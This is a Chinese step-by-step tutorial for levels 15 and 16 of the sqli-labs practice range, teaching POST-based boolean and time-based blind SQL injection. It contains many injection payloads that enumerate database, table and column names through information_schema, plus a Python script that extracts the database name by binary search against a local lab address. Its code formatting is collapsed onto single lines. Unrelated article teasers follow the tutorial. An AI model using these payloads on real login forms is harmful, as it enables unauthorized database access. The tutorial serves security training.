【sql靶场】第15、16关-post提交盲注保姆级教程

目录

【sql靶场】第15、16关-post提交盲注保姆级教程

1.知识回顾

‌GET请求‌

‌POST请求‌

or与and

2.第十五关

1.布尔盲注的手动注入

1.判断

2.数据库名长度

3.数据库名字符

4.表名数

5.表名长度

6.表名符

7.字段数

8.字段长度

9.字段符

2.布尔盲注的脚本注入

3.时间注入的手动注入

1.判断

2.确认时间盲注

3.数据库名长度

4.数据库名字符

5.表名数

6.表名长度

7.表名符

8.字段数

9.字段长度

10.字段符

4.时间注入的脚本注入

3.第十六关


【sql靶场】第15、16关-post提交盲注保姆级教程

关卡讲解前回顾小知识,不看可以跳过,如果还不太会报错注入建议看sql靶场5-6关(报错注入)保姆级教程_sql-labs第5关bp抓包跟hachbar-CSDN博客

1.知识回顾

GET请求

数据通过URL参数传递,明文暴露于地址栏,适用于非敏感数据(如搜索关键词)‌。

受URL长度限制(通常≤2048字符)‌。

POST请求

数据通过请求体传输,URL中仅包含资源路径(如 https://example.com/login)‌。

适合提交敏感信息(如密码)或大量数据(如文件上传)‌

提交方式从get变成了post,使得数据不会通过URL参数传递,明文暴露于地址栏,所以使用post提交POST请求的数据存储在‌请求体(Body)‌中,而非URL参数,URL中仅包含资源路径,这里就不需要再地址栏进行测试,但是我们可以在页面的账号密码输入里尝试,可不可以进行注入

or与and

or在语句中为或的意思,只要满足一个就可以

and在语句中为与的意思,两个都要满足

2.第十五关

1.布尔盲注的手动注入

方法一

在页面的输入框直接进行注入,使用的注释符#,不能使用#

方法二

使用BurpSuite,点击代理然后点击截断的截断请求,然后打开火狐浏览器,打开关卡页面,随便输入账号密码,点击提交

在这里的注入注释符#与#都可以

打开重发器,复制到,发送,输入目标IP与端口,响应

1-测试

个人建议使用BurpSuite,因为可以清楚看见自己的注入,如果出现错误比较好检查,也比较好修改,而在页面的输入框直接注入,第一由于输入框的大小限制,很影响注入语句的输入与观看,第二输入提交后注入语句会变成空,如果报错很难检查与修改错误

如果没有BurpSuite,可以观看Burp Suite Professional的下载安装与使用-CSDN博客

1.判断

布尔盲注了,这种页面只会有成功和错误两个状态的页面,不会出现报错显示,这种可以尝试可以通过布尔盲注来不断尝试猜测出数据:并且我们可以使用多种方法来注入

在这里注入要注意一个点,如果不知道用户名就使用or进行连接,这样只要后面的判断语句正确就会返回成功的页面;如果要使用and,就需要前面的用户名与后面的判断语句一起为真才可以

可以通过下面语句判断

1' or '1'='1'#
1' or '1'='2'#

2.数据库名长度

手动进行布尔盲注十分麻烦,首先先要注入出名字的长度

1' or (select length(database())>8) # 
1' or (select length(database())>6) #

4-判断数据库名长度

3.数据库名字符

一般名字命名的字符是在32-128之间,所以测试一般在里面测试

可以用二分法进行测试,太多了选择几个

1' or ((select ascii(substr(database(),1,1)))>80) # 
1' or ((select ascii(substr(database(),1,1)))>104) # 
1' or ((select ascii(substr(database(),1,1)))>116) # 
1' or ((select ascii(substr(database(),1,1)))>110) # 
1' or ((select ascii(substr(database(),1,1)))>113) #
1' or ((select ascii(substr(database(),1,1)))>114) #

6-数据库名字符2

7-数据库名字符3

8-数据库名字符4

最后确定是ASCLL是115,对照ASCLL是字符s

剩下的也这样一个一个慢慢的注入出来

4.表名数

注入出数据库名后再去注入表名与字段名

由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量

1' or (select count(*) from information_schema.tables where table_schema=database()) > 3#
1' or (select count(*) from information_schema.tables where table_schema=database()) > 5#

10-表名数2

表名数为4

5.表名长度
1' or (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6 # 
1' or (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8 # 

12-表名长度2

结果是第一个表的名字长度为7

6.表名符
1' or (ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32) # 

7.字段数
1' or (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2 # 
1' or (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>3 #

16-字段数2

结果是3个字段数

8.字段长度
1' or (select length(column_name) from information_schema.columns where table_schema= 'security' or table_name='users' limit 1,1)>6 # 

9.字段符
1' or (ascii(substr((select column_name from information_schema.columns where table_schema= 'security' or table_name='users' limit 0,1),1,1))>32) # 

2.布尔盲注的脚本注入
import requests
​
​
def inject_database(url):name = ''# 初始化空字符串,存储最终数据库名for i in range(1, 100):# 遍历字符位置(假设数据库名最长99字符)low = 32# ASCII可打印字符起始值(空格)high = 128# ASCII结束值(DEL字符,实际只用到127)mid = (low + high) // 2# 二分法初始中间值while low < high:# 二分查找当前字符的ASCII值data = {"uname" : "1' or ascii(substr(database(),%d,1))>%d#" % (i, mid),"passwd" : 'aaaaa'}r = requests.post(url, data=data)if 'flag.jpg' in r.text:low = mid + 1# 当前字符ASCII值 > mid,调整下限else:high = midmid = (low + high) // 2
​if mid == 32:# 若mid为32(空格),终止循环breakname = name + chr(mid)# 将ASCII转为字符并拼接print(name)# 实时输出当前结果
​
​
if __name__ == "__main__":url = "http://127.0.0.1:8080/sqli-labs-master/Less-8/index.php"# 网站地址,千万千万注意网址一定要是自己搭建的sql网址,不能用我的,否则无法使用inject_database(url)# 包含网站

3.时间注入的手动注入
1.判断

当回显,报错显示,及布尔盲注都无法使用时,即无论怎么输入只有一个页面不会变化

2.确认时间盲注

使用的语法有:IF(condition, value_if_true, value_if_false)

测试是否存在时间盲注即闭合方式

这里我尝试过使用or的连接,但是不行,于是我使用了and连接方式

admin' AND IF(1=1, SLEEP(5), 0) #

3.数据库名长度
admin' and if(length(database())>8,sleep(5),1)# 
admin' and if(length(database())>6,sleep(5),1)#  

21-时间盲注数据库名长度

4.数据库名字符

一般名字命名的字符是在32-128之间,所以测试一般在里面测试

可以用二分法进行测试,太多了选择几个

admin'and if(ascii(substr((select database()),1,1))>80,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>104,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>116,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>110,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>114,sleep(5),1)# 

23-时间盲注数据库名字符

24-时间盲注数据库名字符

5.表名数

注入出数据库名后再去注入表名与字段名

由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量

admin'and if(((select count(*) from information_schema.tables where table_schema=database())>3),sleep(5),1)# 
admin'and if(((select count(*) from information_schema.tables where table_schema=database())>5),sleep(5),1)# 

26-时间盲注表名数

表名数为4

6.表名长度
admin'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6),sleep(5),1)# 
admin'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8),sleep(5),1)# 

28-时间盲注表名长度

结果是第一个表的名字长度为7

7.表名符
admin'and if((ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)# 

8.字段数
admin'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2),sleep(5),1)# 
admin'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4),sleep(5),1)# 

31-时间盲注字段数

结果是3个字段数

9.字段长度
admin'and if(((select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>1),sleep(5),1)# 

10.字段符
admin'and if((ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32),sleep(5),1)# 

4.时间注入的脚本注入

3.第十六关

这一关的闭合方式为") 剩下的基本与第十五关一样

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/34818.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++】 —— 笔试刷题day_6

刷题day_6&#xff0c;继续加油哇&#xff01; 今天这三道题全是高精度算法 一、大数加法 题目链接&#xff1a;大数加法 题目解析与解题思路 OK&#xff0c;这道题题目描述很简单&#xff0c;就是给我们两个字符串形式的数字&#xff0c;让我们计算这两个数字的和 看题目我…

redis终章

1. 缓存(cache) Redis最主要的用途&#xff0c;三个方面1.存储数据&#xff08;内存数据库&#xff09;&#xff1b;2.缓存[redis最常用的场景]&#xff1b;3.消息队列。 缓存(cache)是计算机中的⼀个经典的概念.核⼼思路就是把⼀些常⽤的数据放到触⼿可及(访问速度更快)的地⽅…

Matlab 多输入系统极点配置

1、内容简介 略 Matlab 172-多输入系统极点配置 可以交流、咨询、答疑 2、内容说明 略 3、仿真分析 略 clc close all clear A [-6.5727 1.1902 0 -53.4085;1.1902 -6.5727 0 -53.4085;0.5294 0.5294 0 17.7502;0 0 1 0]; B [1.3797 -0.2498;-0.2498 1.3797;-0.1111 -0.1…

国产编辑器EverEdit - 脚本(解锁文本编辑的无限可能)

1 脚本 1.1 应用场景 脚本是一种功能扩展代码&#xff0c;用于提供一些编辑器通用功能提供不了的功能&#xff0c;帮助用户在特定工作场景下提高工作效率&#xff0c;几乎所有主流的编辑器、IDE都支持脚本。   EverEdit的脚本支持js(语法与javascript类似)、VBScript两种编程…

Flutter 小技巧之通过 MediaQuery 优化 App 性能

许久没更新小技巧系列&#xff0c;温故知新&#xff0c;在两年半前的《 MediaQuery 和 build 优化你不知道的秘密》 我们聊过了在 Flutter 内 MediaQuery 对应 rebuild 机制&#xff0c;由于 MediaQuery 在 MaterialApp 内&#xff0c;并且还是一个 InheritedWidget &#xff0…

AI-医学影像分割方法与流程

AI医学影像分割方法与流程–基于低场磁共振影像的病灶识别 – 作者:coder_fang AI框架&#xff1a;PaddleSeg 数据准备&#xff0c;使用MedicalLabelMe进行dcm文件标注&#xff0c;产生同名.json文件。 编写程序生成训练集图片&#xff0c;包括掩码图。 代码如下: def doC…

【蓝桥杯每日一题】3.16

&#x1f3dd;️专栏&#xff1a; 【蓝桥杯备篇】 &#x1f305;主页&#xff1a; f狐o狸x 目录 3.9 高精度算法 一、高精度加法 题目链接&#xff1a; 题目描述&#xff1a; 解题思路&#xff1a; 解题代码&#xff1a; 二、高精度减法 题目链接&#xff1a; 题目描述&…

人工智能组第一次培训——deepseek本地部署和知识库的建立

deepseek本地部署的用处 减少对网络依赖性&#xff1a; 在断网环境下&#xff0c;依然可以使用预先下载的AI模型进行处理&#xff0c;避免因网络不稳定而无法完成任务。 提高响应速度&#xff1a; 数据和模型已经在本地设备上准备好&#xff0c;可以直接调用&#xff0c;不…

windows协议不再续签,华为再无windows可用,将于四月发布鸿蒙PC

大家好&#xff0c;我是国货系创始人张云泽&#xff0c;最近不少小伙伴在后台问&#xff1a;“听说Windows协议要到期了&#xff1f;我的电脑会不会变砖&#xff1f;”还有人说&#xff1a;“华为笔记本以后用不了Windows了&#xff1f;鸿蒙系统能用吗&#xff1f;”今天咱们就…

数据结构-----初始数据结构、及GDB调试

一、数据结构核心概念 相互之间存在一种或多种特定关系的数据元素的集合。 1. 数据结构定义 // 嵌入式场景示例&#xff1a;传感器网络节点结构 struct SensorNode {uint16_t node_id; // 2字节float temperature; // 4字节uint32_t timestamp; // 4字节struct Se…

HOT100(1)

目前想到的办法是暴力枚举&#xff0c;有什么更好的办法请多指教。。。。代码如下&#xff1a; 让数组第一个元素和后面的元素相加判断是否相等&#xff0c;让数组第二个元素与后面的元素相加判断是否相等&#xff0c;以此类推 /** * Note: The returned array must be mallo…

QuickAPI 和 DBAPI 谁更香?SQL生成API工具的硬核对比(一)

最近低代码开发火得不行&#xff0c;尤其是能把数据库秒变API的工具&#xff0c;简直是开发者的救星。今天咱就聊聊两款国内玩家&#xff1a;QuickAPI&#xff08;麦聪软件搞出来的低代码神器&#xff09;和 DBAPI&#xff08;开源社区的硬核作品&#xff09;。这两货都能靠SQL…

MySQL单表查询大全【SELECT】

山再高&#xff0c;往上攀&#xff0c;总能登顶&#xff1b;路再长&#xff0c;走下去&#xff0c;定能到达。 Mysql中Select 的用法 ------前言------【SELECT】0.【准备工作】0.1 创建一个库0.2 库中创建表0.3 表中加入一些数据 1.【查询全部】2.【查询指定列】2.1查询指定列…

开启云服务器ubuntu22.04的远程桌面,支持Windows远程连接 - 开启XRDP支持

效果图 环境 云服务器 Ubuntu 22.04 lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 22.04.5 LTS Release: 22.04 Codename: jammy 本地windows10 步骤 前置动作 # 远程登录 ssh rootx.x.x.x# 看看硬盘够不够空间&…

虚拟化数据恢复—重装系统服务器崩了的数据恢复过程

虚拟化数据恢复环境&故障&#xff1a; VMware虚拟化平台 vmfs文件系统 工作人员误操作重装操作系统&#xff0c;服务器崩溃。 重装系统会导致文件系统元文件被覆盖。要恢复数据&#xff0c;必须找到&提取重装系统前的文件系统残留信息&#xff0c;通过提取出来的元文件…

harmonyOS NEXT开发与前端开发深度对比分析

文章目录 1. 技术体系概览1.1 技术栈对比1.2 生态对比 2. 开发范式比较2.1 鸿蒙开发范式2.2 前端开发范式 3. 框架特性对比3.1 鸿蒙 Next 框架特性3.2 前端框架特性 4. 性能优化对比4.1 鸿蒙性能优化4.2 前端性能优化 5. 开发工具对比5.1 鸿蒙开发工具5.2 前端开发工具 6. 学习…

AI智能混剪工具:AnKo打造高效创作的利器!

AI智能混剪工具&#xff1a;AnKo打造高效创作的利器&#xff01; 随着AI技术的迅速发展&#xff0c;AI智能混剪工具逐渐成为内容创作的利器&#xff0c;尤其是AnKo&#xff0c;作为一款免费的AI创作平台&#xff0c;提供了多模型AI聚合工具平台&#xff0c;能为用户带来更高效…

【Hestia Project 数据集】美国化石燃料 CO₂ 排放数据

Hestia Project™ 是一个革命性的研究项目,旨在帮助城市更精确地量化和管理与气候变化相关的碳排放问题。该项目提供了细粒度(建筑、街道、工厂级别)的化石燃料 CO₂ 排放数据,并通过直观的三维可视化系统向公众、政策制定者、科学家和工业界提供详细的时空信息,支持碳管理…

【TCP】三次挥手,四次挥手详解--UDP和TCP协议详解

活动发起人小虚竹 想对你说&#xff1a; 这是一个以写作博客为目的的创作活动&#xff0c;旨在鼓励大学生博主们挖掘自己的创作潜能&#xff0c;展现自己的写作才华。如果你是一位热爱写作的、想要展现自己创作才华的小伙伴&#xff0c;那么&#xff0c;快来参加吧&#xff01…

传感云揭秘:边缘计算的革新力量

在当今快速发展的科技时代&#xff0c;传感云和边缘计算系统正逐渐成为人们关注的焦点。传感云作为物联网与云计算的结合体&#xff0c;通过虚拟化技术将物理节点转化为多个服务节点&#xff0c;为用户提供高效、便捷的服务。而边缘计算则是一种靠近数据源头或物端的网络边缘侧…